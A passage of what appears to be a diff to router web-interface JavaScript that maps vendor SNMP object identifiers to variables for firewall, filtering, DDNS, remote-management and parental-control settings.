arPacketsRcv5HalfMbps=AdvanceWirelessStatsRateStats.PacketsRcv5HalfMbps; +var arPacketsRcv6Mbps=AdvanceWirelessStatsRateStats.PacketsRcv6Mbps; +var arPacketsRcv9Mbps=AdvanceWirelessStatsRateStats.PacketsRcv9Mbps; +var arPacketsRcv11Mbps=AdvanceWirelessStatsRateStats.PacketsRcv11Mbps; +var arPacketsRcv12Mbps=AdvanceWirelessStatsRateStats.PacketsRcv12Mbps; +var arPacketsRcv18Mbps=AdvanceWirelessStatsRateStats.PacketsRcv18Mbps; +var arPacketsRcv24Mbps=AdvanceWirelessStatsRateStats.PacketsRcv24Mbps; +var arPacketsRcv36Mbps=AdvanceWirelessStatsRateStats.PacketsRcv36Mbps; +var arPacketsRcv48Mbps=AdvanceWirelessStatsRateStats.PacketsRcv48Mbps; +var arPacketsRcv54Mbps=AdvanceWirelessStatsRateStats.PacketsRcv54Mbps; +var arPacketsRcv108Mbps=AdvanceWirelessStatsRateStats.PacketsRcv108Mbps; +var arPacketsRcv162Mbps=AdvanceWirelessStatsRateStats.PacketsRcv162Mbps; +var arPacketsRcv216Mbps=AdvanceWirelessStatsRateStats.PacketsRcv216Mbps; +var arPacketsRcv270Mbps=AdvanceWirelessStatsRateStats.PacketsRcv270Mbps; +var arPacketsRcv324Mbps=AdvanceWirelessStatsRateStats.PacketsRcv324Mbps; +var arPacketsRcv378Mbps=AdvanceWirelessStatsRateStats.PacketsRcv378Mbps; +var arPacketsRcv432Mbps=AdvanceWirelessStatsRateStats.PacketsRcv432Mbps; +var arPacketsRcv486Mbps=AdvanceWirelessStatsRateStats.PacketsRcv486Mbps; +var arPacketsRcv540Mbps=AdvanceWirelessStatsRateStats.PacketsRcv540Mbps; + +var FWCfg = new Container("FWCfg", "1.3.6.1.4.1.4115.1.20.1.1.4"); +FWCfg.FWEnabled= new Scalar("FWEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.1",2); +FWCfg.FWVirtSrvClear= new Scalar("FWVirtSrvClear","1.3.6.1.4.1.4115.1.20.1.1.4.2",2); +FWCfg.FWIPFilterClear= new Scalar("FWIPFilterClear","1.3.6.1.4.1.4115.1.20.1.1.4.3",2); +FWCfg.FWMACFilterClear= new Scalar("FWMACFilterClear","1.3.6.1.4.1.4115.1.20.1.1.4.4",2); +FWCfg.FWPortTrigClear= new Scalar("FWPortTrigClear","1.3.6.1.4.1.4115.1.20.1.1.4.5",2); +FWCfg.FWEnableDMZ= new Scalar("FWEnableDMZ","1.3.6.1.4.1.4115.1.20.1.1.4.6",2); +FWCfg.FWIPAddrTypeDMZ= new Scalar("FWIPAddrTypeDMZ","1.3.6.1.4.1.4115.1.20.1.1.4.7",2); +FWCfg.FWIPAddrDMZ= new Scalar("FWIPAddrDMZ","1.3.6.1.4.1.4115.1.20.1.1.4.8",4, 1); +FWCfg.FWSecurityLevel= new Scalar("FWSecurityLevel","1.3.6.1.4.1.4115.1.20.1.1.4.9",2); +FWCfg.FWApplySettings= new Scalar("FWApplySettings","1.3.6.1.4.1.4115.1.20.1.1.4.10",2); +FWCfg.FWAllowAll= new Scalar("FWAllowAll","1.3.6.1.4.1.4115.1.20.1.1.4.14",2); +FWCfg.FWAllowICMP= new Scalar("FWAllowICMP","1.3.6.1.4.1.4115.1.20.1.1.4.21",2); +FWCfg.FWResetDefaults= new Scalar("FWResetDefaults","1.3.6.1.4.1.4115.1.20.1.1.4.22",2); +FWCfg.FWBlockHTTP= new Scalar("FWBlockHTTP","1.3.6.1.4.1.4115.1.20.1.1.4.23",2); +FWCfg.FWBlockP2P= new Scalar("FWBlockP2P","1.3.6.1.4.1.4115.1.20.1.1.4.24",2); +FWCfg.FWBlockIdent= new Scalar("FWBlockIdent","1.3.6.1.4.1.4115.1.20.1.1.4.25",2); +FWCfg.FWBlockICMP= new Scalar("FWBlockICMP","1.3.6.1.4.1.4115.1.20.1.1.4.26",2); +FWCfg.FWBlockMulticast= new Scalar("FWBlockMulticast","1.3.6.1.4.1.4115.1.20.1.1.4.27",2); +FWCfg.FWVSSrcPortExclude= new Scalar("FWVSSrcPortExclude","1.3.6.1.4.1.4115.1.20.1.1.4.28",4); +FWCfg.FWVSDestPortExclude= new Scalar("FWVSDestPortExclude","1.3.6.1.4.1.4115.1.20.1.1.4.29",4); +FWCfg.FWEnableNow= new Scalar("FWEnableNow","1.3.6.1.4.1.4115.1.20.1.1.4.30",2); +FWCfg.FWAllowDestPorts= new Scalar("FWAllowDestPorts","1.3.6.1.4.1.4115.1.20.1.1.4.31",4); +FWCfg.FWVirtSrvTableEnabled= new Scalar("FWVirtSrvTableEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.32",2); +FWCfg.FWPortTrigTableEnabled= new Scalar("FWPortTrigTableEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.33",2); +// scm { +FWCfg.FWIPv6AddrDMZ= new Scalar("arFWIPv6AddrDMZ","1.3.6.1.4.1.4115.1.20.1.1.4.39",4, 1); +// scm } +var arFWEnabled=FWCfg.FWEnabled; +var arFWVirtSrvClear=FWCfg.FWVirtSrvClear; +var arFWIPFilterClear=FWCfg.FWIPFilterClear; +var arFWMACFilterClear=FWCfg.FWMACFilterClear; +var arFWPortTrigClear=FWCfg.FWPortTrigClear; +var arFWEnableDMZ=FWCfg.FWEnableDMZ; +var arFWIPAddrTypeDMZ=FWCfg.FWIPAddrTypeDMZ; +var arFWIPAddrDMZ=FWCfg.FWIPAddrDMZ; +var arFWSecurityLevel=FWCfg.FWSecurityLevel; +var arFWApplySettings=FWCfg.FWApplySettings; +var arFWAllowAll=FWCfg.FWAllowAll; +var arFWAllowICMP=FWCfg.FWAllowICMP; +var arFWResetDefaults=FWCfg.FWResetDefaults; +var arFWBlockHTTP=FWCfg.FWBlockHTTP; +var arFWBlockP2P=FWCfg.FWBlockP2P; +var arFWBlockIdent=FWCfg.FWBlockIdent; +var arFWBlockICMP=FWCfg.FWBlockICMP; +var arFWBlockMulticast=FWCfg.FWBlockMulticast; +var arFWVSSrcPortExclude=FWCfg.FWVSSrcPortExclude; +var arFWVSDestPortExclude=FWCfg.FWVSDestPortExclude; +var arFWEnableNow=FWCfg.FWEnableNow; +var arFWAllowDestPorts=FWCfg.FWAllowDestPorts; +var arFWVirtSrvTableEnabled=FWCfg.FWVirtSrvTableEnabled; +var arFWPortTrigTableEnabled=FWCfg.FWPortTrigTableEnabled; +// scm start +var arFWIPv6AddrDMZ=FWCfg.FWIPv6AddrDMZ; + +var FWVirtSrvTable = new Table("FWVirtSrvTable", "1.3.6.1.4.1.4115.1.20.1.1.4.12"); +FWVirtSrvTable.FWVirtSrvIndex = new Column("FWVirtSrvIndex","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.1",66); +FWVirtSrvTable.FWVirtSrvDesc = new Column("FWVirtSrvDesc","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.2",4); +FWVirtSrvTable.FWVirtSrvPortStart = new Column("FWVirtSrvPortStart","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.3",66); +FWVirtSrvTable.FWVirtSrvPortEnd = new Column("FWVirtSrvPortEnd","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.4",66); +FWVirtSrvTable.FWVirtSrvProtoType = new Column("FWVirtSrvProtoType","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.5",2); +FWVirtSrvTable.FWVirtSrvIPAddrType = new Column("FWVirtSrvIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.6",2); +FWVirtSrvTable.FWVirtSrvIPAddr = new Column("FWVirtSrvIPAddr","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.7",4, 1); +FWVirtSrvTable.FWVirtSrvTOD = new Column("FWVirtSrvTOD","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.8",2); +FWVirtSrvTable.FWVirtSrvLocalPortStart = new Column("FWVirtSrvLocalPortStart","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.9",66); +FWVirtSrvTable.FWVirtSrvLocalPortEnd = new Column("FWVirtSrvLocalPortEnd","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.10",66); +FWVirtSrvTable.FWVirtSrvRowStatus = new Column("FWVirtSrvRowStatus","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.11",2); +// scm start +FWVirtSrvTable.FWVirtSrvIPv6AddrType = new Column("arFWVirtSrvActive","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.12",2); +FWVirtSrvTable.FWVirtSrvIPv6Addr = new Column("arFWVirtSrvIPv6Addr","1.3.6.1.4.1.4115.1.20.1.1.4.12.1.13",4); +// scm end +var arFWVirtSrvIndex=FWVirtSrvTable.FWVirtSrvIndex; +var arFWVirtSrvDesc=FWVirtSrvTable.FWVirtSrvDesc; +var arFWVirtSrvPortStart=FWVirtSrvTable.FWVirtSrvPortStart; +var arFWVirtSrvPortEnd=FWVirtSrvTable.FWVirtSrvPortEnd; +var arFWVirtSrvProtoType=FWVirtSrvTable.FWVirtSrvProtoType; +var arFWVirtSrvIPAddrType=FWVirtSrvTable.FWVirtSrvIPAddrType; +var arFWVirtSrvIPAddr=FWVirtSrvTable.FWVirtSrvIPAddr; +var arFWVirtSrvTOD=FWVirtSrvTable.FWVirtSrvTOD; +var arFWVirtSrvLocalPortStart=FWVirtSrvTable.FWVirtSrvLocalPortStart; +var arFWVirtSrvLocalPortEnd=FWVirtSrvTable.FWVirtSrvLocalPortEnd; +var arFWVirtSrvRowStatus=FWVirtSrvTable.FWVirtSrvRowStatus; +var FWVirtSrvIPv6AddrType=FWVirtSrvTable.FWVirtSrvIPv6AddrType; +var arFWVirtSrvIPv6Addr=FWVirtSrvTable.FWVirtSrvIPv6Addr; + +var FWIPFilterTable = new Table("FWIPFilterTable", "1.3.6.1.4.1.4115.1.20.1.1.4.13"); +FWIPFilterTable.FWIPFilterIndex = new Column("FWIPFilterIndex","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.1",66); +FWIPFilterTable.FWIPFilterDesc = new Column("FWIPFilterDesc","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.2",4); +FWIPFilterTable.FWIPFilterStartType = new Column("FWIPFilterStartType","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.3",2); +FWIPFilterTable.FWIPFilterStartAddr = new Column("FWIPFilterStartAddr","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.4",4, 1); +FWIPFilterTable.FWIPFilterEndType = new Column("FWIPFilterEndType","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.5",2); +FWIPFilterTable.FWIPFilterEndAddr = new Column("FWIPFilterEndAddr","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.6",4, 1); +FWIPFilterTable.FWIPFilterPortStart = new Column("FWIPFilterPortStart","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.7",66); +FWIPFilterTable.FWIPFilterPortEnd = new Column("FWIPFilterPortEnd","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.8",66); +FWIPFilterTable.FWIPFilterProtoType = new Column("FWIPFilterProtoType","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.9",2); +FWIPFilterTable.FWIPFilterTOD = new Column("FWIPFilterTOD","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.10",2); +FWIPFilterTable.FWIPFilterRowStatus = new Column("FWIPFilterRowStatus","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.11",2); +FWIPFilterTable.FWIPFilterAction = new Column("FWIPFilterAction","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.12",2); +FWIPFilterTable.FWIPFilterDirection = new Column("FWIPFilterDirection","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.13",2); +FWIPFilterTable.FWIPFilterStartMin = new Column("FWIPFilterStartMin","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.14",2); +FWIPFilterTable.FWIPFilterEndMin = new Column("FWIPFilterEndMin","1.3.6.1.4.1.4115.1.20.1.1.4.13.1.15",2); + +var arFWIPFilterIndex=FWIPFilterTable.FWIPFilterIndex; +var arFWIPFilterDesc=FWIPFilterTable.FWIPFilterDesc; +var arFWIPFilterStartType=FWIPFilterTable.FWIPFilterStartType; +var arFWIPFilterStartAddr=FWIPFilterTable.FWIPFilterStartAddr; +var arFWIPFilterEndType=FWIPFilterTable.FWIPFilterEndType; +var arFWIPFilterEndAddr=FWIPFilterTable.FWIPFilterEndAddr; +var arFWIPFilterPortStart=FWIPFilterTable.FWIPFilterPortStart; +var arFWIPFilterPortEnd=FWIPFilterTable.FWIPFilterPortEnd; +var arFWIPFilterProtoType=FWIPFilterTable.FWIPFilterProtoType; +var arFWIPFilterTOD=FWIPFilterTable.FWIPFilterTOD; +var arFWIPFilterRowStatus=FWIPFilterTable.FWIPFilterRowStatus; +var arFWIPFilterAction=FWIPFilterTable.FWIPFilterAction; +var arFWIPFilterDirection=FWIPFilterTable.FWIPFilterDirection; +var arFWIPFilterStartMin=FWIPFilterTable.FWIPFilterStartMin; +var arFWIPFilterEndMin=FWIPFilterTable.FWIPFilterEndMin; + +var FWMACFilterTable = new Table("FWMACFilterTable", "1.3.6.1.4.1.4115.1.20.1.1.4.15"); +FWMACFilterTable.FWMACFilterIndex = new Column("FWMACFilterIndex","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.1",66); +FWMACFilterTable.FWMACFilterAddr = new Column("FWMACFilterAddr","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.2",4, 1); +FWMACFilterTable.FWMACFilterTOD = new Column("FWMACFilterTOD","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.3",2); +FWMACFilterTable.FWMACFilterRowStatus = new Column("FWMACFilterRowStatus","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.4",2); +FWMACFilterTable.FWMACFilterHostName = new Column("FWMACFilterHostName","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.5",4); +FWMACFilterTable.FWMACFilterStartMin = new Column("FWMACFilterStartMin","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.6",2); +FWMACFilterTable.FWMACFilterEndMin = new Column("FWMACFilterEndMin","1.3.6.1.4.1.4115.1.20.1.1.4.15.1.7",2); +var arFWMACFilterIndex=FWMACFilterTable.FWMACFilterIndex; +var arFWMACFilterAddr=FWMACFilterTable.FWMACFilterAddr; +var arFWMACFilterTOD=FWMACFilterTable.FWMACFilterTOD; +var arFWMACFilterRowStatus=FWMACFilterTable.FWMACFilterRowStatus; +var arFWMACFilterHostName=FWMACFilterTable.FWMACFilterHostName; +var arFWMACFilterStartMin=FWMACFilterTable.FWMACFilterStartMin; +var arFWMACFilterEndMin=FWMACFilterTable.FWMACFilterEndMin; + +var FWPortTrigTable = new Table("FWPortTrigTable", "1.3.6.1.4.1.4115.1.20.1.1.4.16"); +FWPortTrigTable.FWPortTrigIndex = new Column("FWPortTrigIndex", "1.3.6.1.4.1.4115.1.20.1.1.4.16.1.1",66); +FWPortTrigTable.FWPortTrigDesc = new Column("FWPortTrigDesc","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.2",4); +FWPortTrigTable.FWPortTrigPortStart = new Column("FWPortTrigPortStart","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.3",66); +FWPortTrigTable.FWPortTrigPortEnd = new Column("FWPortTrigPortEnd","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.4",66); +FWPortTrigTable.FWPortTargPortStart = new Column("FWPortTargPortStart","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.5",66); +FWPortTrigTable.FWPortTargPortEnd = new Column("FWPortTargPortEnd","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.6",66); +FWPortTrigTable.FWPortTrigProtoType = new Column("FWPortTrigProtoType","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.7",2); +FWPortTrigTable.FWPortTrigTOD = new Column("FWPortTrigTOD","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.8",2); +FWPortTrigTable.FWPortTrigRowStatus = new Column("FWPortTrigRowStatus","1.3.6.1.4.1.4115.1.20.1.1.4.16.1.9",2); +var arFWPortTrigIndex=FWPortTrigTable.FWPortTrigIndex; +var arFWPortTrigDesc=FWPortTrigTable.FWPortTrigDesc; +var arFWPortTrigPortStart=FWPortTrigTable.FWPortTrigPortStart; +var arFWPortTrigPortEnd=FWPortTrigTable.FWPortTrigPortEnd; +var arFWPortTargPortStart=FWPortTrigTable.FWPortTargPortStart; +var arFWPortTargPortEnd=FWPortTrigTable.FWPortTargPortEnd; +var arFWPortTrigProtoType=FWPortTrigTable.FWPortTrigProtoType; +var arFWPortTrigTOD=FWPortTrigTable.FWPortTrigTOD; +var arFWPortTrigRowStatus=FWPortTrigTable.FWPortTrigRowStatus; + +var FWFilterRules = new Container("FWFilterRules", "1.3.6.1.4.1.4115.1.20.1.1.4.17"); +FWFilterRules.FWFilterProxy= new Scalar("FWFilterProxy","1.3.6.1.4.1.4115.1.20.1.1.4.17.1",2); +FWFilterRules.FWFilterCookies= new Scalar("FWFilterCookies","1.3.6.1.4.1.4115.1.20.1.1.4.17.2",2); +FWFilterRules.FWFilterJavaApplets= new Scalar("FWFilterJavaApplets","1.3.6.1.4.1.4115.1.20.1.1.4.17.3",2); +FWFilterRules.FWFilterActiveX= new Scalar("FWFilterActiveX","1.3.6.1.4.1.4115.1.20.1.1.4.17.4",2); +FWFilterRules.FWFilterPopupWnds= new Scalar("FWFilterPopupWnds","1.3.6.1.4.1.4115.1.20.1.1.4.17.5",2); +FWFilterRules.FWBlockFragIPPkts= new Scalar("FWBlockFragIPPkts","1.3.6.1.4.1.4115.1.20.1.1.4.17.6",2); +FWFilterRules.FWPortScanProtect= new Scalar("FWPortScanProtect","1.3.6.1.4.1.4115.1.20.1.1.4.17.7",2); +FWFilterRules.FWIPFloodDetect= new Scalar("FWIPFloodDetect","1.3.6.1.4.1.4115.1.20.1.1.4.17.8",2); +var arFWFilterProxy=FWFilterRules.FWFilterProxy; +var arFWFilterCookies=FWFilterRules.FWFilterCookies; +var arFWFilterJavaApplets=FWFilterRules.FWFilterJavaApplets; +var arFWFilterActiveX=FWFilterRules.FWFilterActiveX; +var arFWFilterPopupWnds=FWFilterRules.FWFilterPopupWnds; +var arFWBlockFragIPPkts=FWFilterRules.FWBlockFragIPPkts; +var arFWPortScanProtect=FWFilterRules.FWPortScanProtect; +var arFWIPFloodDetect=FWFilterRules.FWIPFloodDetect; + +var FWDDNSObjs = new Container("FWDDNSObjs", "1.3.6.1.4.1.4115.1.20.1.1.4.18"); +FWDDNSObjs.FWDDNSEnable= new Scalar("FWDDNSEnable","1.3.6.1.4.1.4115.1.20.1.1.4.18.1",2); +FWDDNSObjs.FWDDNSType= new Scalar("FWDDNSType","1.3.6.1.4.1.4115.1.20.1.1.4.18.2",2); +FWDDNSObjs.FWDDNSUserHame= new Scalar("FWDDNSUserHame","1.3.6.1.4.1.4115.1.20.1.1.4.18.3",4); +FWDDNSObjs.FWDDNSPassword= new Scalar("FWDDNSPassword","1.3.6.1.4.1.4115.1.20.1.1.4.18.4",4); +FWDDNSObjs.FWDDNSDomainName= new Scalar("FWDDNSDomainName","1.3.6.1.4.1.4115.1.20.1.1.4.18.5",4); +FWDDNSObjs.FWDDNSIPAddrType= new Scalar("FWDDNSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.4.18.6",2); +FWDDNSObjs.FWDDNSIPAddr= new Scalar("FWDDNSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.4.18.7",4, 1); +FWDDNSObjs.FWDDNSStatus= new Scalar("FWDDNSStatus","1.3.6.1.4.1.4115.1.20.1.1.4.18.8",4); +var arFWDDNSEnable=FWDDNSObjs.FWDDNSEnable; +var arFWDDNSType=FWDDNSObjs.FWDDNSType; +var arFWDDNSUserHame=FWDDNSObjs.FWDDNSUserHame; +var arFWDDNSPassword=FWDDNSObjs.FWDDNSPassword; +var arFWDDNSDomainName=FWDDNSObjs.FWDDNSDomainName; +var arFWDDNSIPAddrType=FWDDNSObjs.FWDDNSIPAddrType; +var arFWDDNSIPAddr=FWDDNSObjs.FWDDNSIPAddr; +var arFWDDNSStatus=FWDDNSObjs.FWDDNSStatus; + + + +/*var FWDDNSDataTable= new Table("FWDDNSDataTable", "1.3.6.1.4.1.4115.1.20.11.1.5.12"); +FWDDNSDataTable.DDNSService= new Column("DDNSService","1.3.6.1.4.1.4115.1.20.11.1.5.12.1.1",4); +FWDDNSDataTable.DDNSUserName=new Column("DDNSUserName","1.3.6.1.4.1.4115.1.20.11.1.5.12.1.2",4); +FWDDNSDataTable.DDNSPassword=new Column("DDNSPassword","1.3.6.1.4.1.4115.1.20.11.1.5.12.1.3",4); +FWDDNSDataTable.DDNSHostNames=new Column("DDNSHostNames","1.3.6.1.4.1.4115.1.20.11.1.5.12.1.4",4); +var arDDNSService= FWDDNSDataTable.DDNSService; +var arDDNSUserName= FWDDNSDataTable.DDNSUserName; +var arDDNSPassword= FWDDNSDataTable.DDNSPassword; +var arDDNSHostNames=FWDDNSDataTable.DDNSHostNames; +*/ +var FWDDNSDataTable = new Table("FWDDNSDataTable", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1"); +FWDDNSDataTable.FWDDNSType = new Column("FWDDNSType", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.1.3", 4); +FWDDNSDataTable.FWDDNSUserHame = new Column("FWDDNSUserHame", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.1.4", 4); +FWDDNSDataTable.FWDDNSPassword = new Column("FWDDNSPassword", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.1.5", 4); +var arDDNSService= FWDDNSDataTable.FWDDNSType; +var arDDNSUserName= FWDDNSDataTable.FWDDNSUserHame; +var arDDNSPassword= FWDDNSDataTable.FWDDNSPassword; + +var FWDDNSHostAccess = new Table("FWDDNSHostAccess", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.2"); +FWDDNSHostAccess.HostnameDDNSIndex = new Column("HostnameDDNSIndex", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.2.1.1", 2); +FWDDNSHostAccess.HostnameValue = new Column("HostnameValue", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.2.1.2", 2); +FWDDNSHostAccess.HostnameRowStatus = new Column("HostnameRowStatus", "1.3.6.1.4.1.4115.1.20.1.1.4.45.1.2.1.3", 2); +var arHostnameDDNSIndex = FWDDNSHostAccess.HostnameDDNSIndex; +var arHostnameValue = FWDDNSHostAccess.HostnameValue; +var arHostnameRowStatus = FWDDNSHostAccess.HostnameRowStatus; + + + +var FWFeatures = new Container("FWFeatures", "1.3.6.1.4.1.4115.1.20.1.1.4.19"); +FWFeatures.FWEnableWanBlocking= new Scalar("FWEnableWanBlocking","1.3.6.1.4.1.4115.1.20.1.1.4.19.1",2); +FWFeatures.FWIPSecPassThru= new Scalar("FWIPSecPassThru","1.3.6.1.4.1.4115.1.20.1.1.4.19.2",2); +FWFeatures.FWPPTPPassThru= new Scalar("FWPPTPPassThru","1.3.6.1.4.1.4115.1.20.1.1.4.19.3",2); +FWFeatures.FWEnableMulticast= new Scalar("FWEnableMulticast","1.3.6.1.4.1.4115.1.20.1.1.4.19.4",2); +FWFeatures.FWEnableRemoteMgmt= new Scalar("FWEnableRemoteMgmt","1.3.6.1.4.1.4115.1.20.1.1.4.19.5",2); +FWFeatures.FWL2TPPassThru= new Scalar("FWL2TPPassThru","1.3.6.1.4.1.4115.1.20.1.1.4.19.7",2); +FWFeatures.FWEnableWanSNMP= new Scalar("FWEnableWanSNMP","1.3.6.1.4.1.4115.1.20.1.1.4.19.8",2); +FWFeatures.FWEnableWanSSH= new Scalar("FWEnableWanSSH","1.3.6.1.4.1.4115.1.20.1.1.4.19.9",2); +FWFeatures.FWEnableLanSNMPWireless= new Scalar("FWEnableLanSNMPWireless","1.3.6.1.4.1.4115.1.20.1.1.4.19.10",2); +var arFWEnableWanBlocking=FWFeatures.FWEnableWanBlocking; +var arFWIPSecPassThru=FWFeatures.FWIPSecPassThru; +var arFWPPTPPassThru=FWFeatures.FWPPTPPassThru; +var arFWEnableMulticast=FWFeatures.FWEnableMulticast; +var arFWEnableRemoteMgmt=FWFeatures.FWEnableRemoteMgmt; +var arFWL2TPPassThru=FWFeatures.FWL2TPPassThru; +var arFWEnableWanSNMP=FWFeatures.FWEnableWanSNMP; +var arFWEnableWanSSH=FWFeatures.FWEnableWanSSH; +var arFWEnableLanSNMPWireless=FWFeatures.FWEnableLanSNMPWireless; + +// scm add 4 + +var FWEnableRemoteMgmt = new Container("FWEnableRemoteMgmt", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12"); +FWEnableRemoteMgmt.FWRemoteMgmtHttp= new Scalar("FWRemoteMgmtHttp","1.3.6.1.4.1.4115.1.20.1.1.4.19.12.1",2); +FWEnableRemoteMgmt.FWRemoteMgmtHttpPort= new Scalar("FWRemoteMgmtHttpPort","1.3.6.1.4.1.4115.1.20.1.1.4.19.12.3",2); +FWEnableRemoteMgmt.FWRemoteMgmtHttps= new Scalar("FWRemoteMgmtHttps","1.3.6.1.4.1.4115.1.20.1.1.4.19.12.2",2); +FWEnableRemoteMgmt.FWRemoteMgmtHttpsPort= new Scalar("FWRemoteMgmtHttpsPort","1.3.6.1.4.1.4115.1.20.1.1.4.19.12.4",2); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedType = new Scalar("FWRemoteMgmtAllowedType", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.5", 2); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedIPv4 = new Scalar("FWRemoteMgmtAllowedIPv4", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.6", 4); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedIPv6 = new Scalar("FWRemoteMgmtAllowedIPv6", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.7", 4); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedStartIPv4 = new Scalar("FWRemoteMgmtAllowedStartIPv4", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.8", 4); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedEndIPv4 = new Scalar("FWRemoteMgmtAllowedEndIPv4", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.9", 4); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedStartIPv6 = new Scalar("FWRemoteMgmtAllowedStartIPv6", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.10", 4); +FWEnableRemoteMgmt.FWRemoteMgmtAllowedEndIPv6 = new Scalar("FWRemoteMgmtAllowedEndIPv6", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.11", 4); +FWEnableRemoteMgmt.FWRemoteMgmtTelnet = new Scalar("FWRemoteMgmtTelnet", "1.3.6.1.4.1.4115.1.20.1.1.4.19.12.12", 4); +var arFWRemoteMgmtHttp = FWEnableRemoteMgmt.FWRemoteMgmtHttp; +var arFWRemoteMgmtHttpPort = FWEnableRemoteMgmt.FWRemoteMgmtHttpPort; +var arFWRemoteMgmtHttps = FWEnableRemoteMgmt.FWRemoteMgmtHttps; +var arFWRemoteMgmtHttpsPort = FWEnableRemoteMgmt.FWRemoteMgmtHttpsPort; +var arFWRemoteMgmtAllowedType =FWEnableRemoteMgmt.FWRemoteMgmtAllowedType ; +var arFWRemoteMgmtAllowedIPv4 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedIPv4 ; +var arFWRemoteMgmtAllowedIPv6 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedIPv6 ; +var arFWRemoteMgmtAllowedStartIPv4 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedStartIPv4 ; +var arFWRemoteMgmtAllowedEndIPv4 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedEndIPv4 ; +var arFWRemoteMgmtAllowedStartIPv6 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedStartIPv6 ; +var arFWRemoteMgmtAllowedEndIPv6 =FWEnableRemoteMgmt.FWRemoteMgmtAllowedEndIPv6 ; +var arFWRemoteMgmtTelnet =FWEnableRemoteMgmt.FWRemoteMgmtTelnet ; + +var CmDoc30Acess = new Container("CmDoc30Acess", "1.3.6.1.4.1.4115.1.3.4.1.2"); +CmDoc30Acess.RemoteMgmtTelnet = new Scalar("RemoteMgmtTelnet", "1.3.6.1.4.1.4115.1.3.4.1.2.2", 2); +CmDoc30Acess.RemoteMgmtSSH = new Scalar("RemoteMgmtSSH", "1.3.6.1.4.1.4115.1.3.4.1.2.10", 2); +var arRemoteMgmtTelnet =CmDoc30Acess.RemoteMgmtTelnet ; +var arRemoteMgmtSSH =CmDoc30Acess.RemoteMgmtSSH ; + + +var FWParentalControls = new Container("FWParentalControls", "1.3.6.1.4.1.4115.1.20.1.1.4.20"); +FWParentalControls.KeywordCount= new Scalar("KeywordCount","1.3.6.1.4.1.4115.1.20.1.1.4.20.1",2); +FWParentalControls.KeywordClear= new Scalar("KeywordClear","1.3.6.1.4.1.4115.1.20.1.1.4.20.2",2); +FWParentalControls.BlackListCount= new Scalar("BlackListCount","1.3.6.1.4.1.4115.1.20.1.1.4.20.3",2); +FWParentalControls.BlackListClear= new Scalar("BlackListClear","1.3.6.1.4.1.4115.1.20.1.1.4.20.4",2); +FWParentalControls.WhiteListCount= new Scalar("WhiteListCount","1.3.6.1.4.1.4115.1.20.1.1.4.20.5",2); +FWParentalControls.WhiteListClear= new Scalar("WhiteListClear","1.3.6.1.4.1.4115.1.20.1.1.4.20.6",2); +FWParentalControls.TrustedDeviceCount= new Scalar("TrustedDeviceCount","1.3.6.1.4.1.4115.1.20.1.1.4.20.7",2); +FWParentalControls.TrustedDeviceClear= new Scalar("TrustedDeviceClear","1.3.6.1.4.1.4115.1.20.1.1.4.20.8",2); 